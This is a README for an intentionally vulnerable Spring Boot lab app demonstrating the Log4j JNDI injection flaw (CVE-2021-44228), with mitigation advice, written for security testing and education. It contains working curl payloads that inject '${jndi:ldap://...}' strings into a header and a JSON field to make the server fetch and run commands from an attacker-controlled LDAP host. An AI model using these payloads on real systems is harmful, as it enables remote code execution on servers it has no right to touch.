
Aplicación web Spring Boot vulnerable que demuestra la inyección JNDI de Log4j2 (CVE-2021-44228) con pasos de explotación y guía de mitigación para pruebas de seguridad y educación.
Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228
Utiliza Log4j 2.14.1 (a través de spring-boot-starter-log4j2 2.6.1).

Ejecútala:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

Referencia : https://logging.apache.org/log4j/2.x/security.html
Corrección rápida de la aplicación -> En versiones >=2.10, este comportamiento se puede mitigar estableciendo la propiedad del sistema log4j2.formatMsgNoLookups o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en true. Para versiones desde 2.0-beta9 hasta 2.10.0, la mitigación es eliminar la clase JndiLookup del classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Actualiza a log4j 2.15.0 en la aplicación y despliega